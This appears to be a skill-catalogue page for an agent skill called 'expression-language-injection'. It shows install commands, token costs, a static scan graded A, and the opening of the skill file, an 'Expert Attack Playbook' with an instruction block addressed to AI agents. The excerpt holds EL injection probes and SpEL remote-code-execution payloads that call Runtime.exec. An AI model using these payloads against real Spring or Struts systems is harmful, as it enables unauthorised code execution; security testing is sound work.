Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/justinedevs/premortem/expression-language-injectionnpx skills add JustineDevs/premortem --skill expression-language-injectiongit clone --depth 1 https://github.com/JustineDevs/premortemWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/justinedevs/premortem/expression-language-injection)<a href="https://agentmods.dev/skills/justinedevs/premortem/expression-language-injection"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/expression-language-injection.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00045 | $0.02327 |
| Opus 5 | $0.00023 | $0.01163 |
| Sonnet 5 | $0.00009 | $0.00465 |
| Haiku 4.5 | $0.00005 | $0.00233 |
Grade A, and why
expression-language-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to expression-language-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 244 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Expression Language Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass,
_memberAccessmanipulation, actuator abuse, and real-world CVE chains.
0. RELATED ROUTING
- ssti-server-side-template-injection for template engines (Jinja2, FreeMarker, Twig) — different attack surface
- jndi-injection when EL evaluation leads to JNDI lookup
Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.
1. DETECTION — POLYGLOT PROBES
${7*7} → 49 = SpEL, OGNL, or Java EL
#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
%{7*7} → 49 = OGNL (Struts2)
${T(java.lang.Math).random()} → random float = SpEL confirmed
%{#context} → object dump = OGNL confirmed
Disambiguation
Response to ${7*7} |
Response to %{7*7} |
Engine |
|---|---|---|
| 49 | literal %{7*7} |
SpEL or Java EL |
literal ${7*7} |
49 | OGNL (Struts2) |
| 49 | 49 | Both may be active |
2. SpEL (SPRING EXPRESSION LANGUAGE)
Where SpEL Appears
@Value("${...}")annotations- Spring Security expressions (
@PreAuthorize) - Spring Cloud Gateway route predicates and filters
- Thymeleaf
th:text="${...}"(when combined with__${...}__preprocessing) - Spring Data
@Querywith SpEL
RCE via Runtime.exec
${T(java.lang.Runtime).getRuntime().exec("id")}
RCE with Output Capture (Commons IO)
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
RCE with Output Capture (Spring StreamUtils)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 244 lines · 45 tokens per session scan A dd96ba349b08
expression-language-injection is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 45 tokens to every session and 2,327 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to expression-language-injection, differing in 0 lines, and is treated as a copy.
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